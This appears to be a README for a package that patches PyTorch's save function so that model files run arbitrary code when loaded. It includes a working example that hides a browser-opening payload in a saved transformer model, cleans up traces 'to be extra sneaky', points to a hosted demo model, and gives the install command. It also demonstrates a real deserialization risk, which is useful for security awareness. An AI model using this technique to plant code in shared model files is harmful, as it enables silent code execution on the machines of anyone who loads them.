Patches the torch.save function with arbitrary code that gets executed upon torch.load.
MIT License
Patches the torch.save function with arbitrary code that gets executed upon torch.load. Works well with the hugging face hub.
Try it out here: https://huggingface.co/ykilcher/totally-harmless-model
# save a model with injected code
import patch_torch_save
from transformers import AutoModel
def open_browser(): # put arbitrary code in here
import webbrowser
webbrowser.open("https://www.patreon.com/yannickilcher")
# just to be extra sneaky, let's clean up...
import sys
del sys.modules["webbrowser"]
patched_save_function = patch_torch_save.patch_save_function(open_browser)
model = AutoModel.from_pretrained("distilbert-base-uncased")
model.save_pretrained("./local_folder", save_function=patched_save_function) # optionally, upload to HF hub
# later...
from transformers import AutoModel
model = AutoModel.from_pretrained("./local_folder") # or load from HF hub
print(model) # it's just a normal model... but check your browser
pip install git+https://github.com/yk/patch-torch-save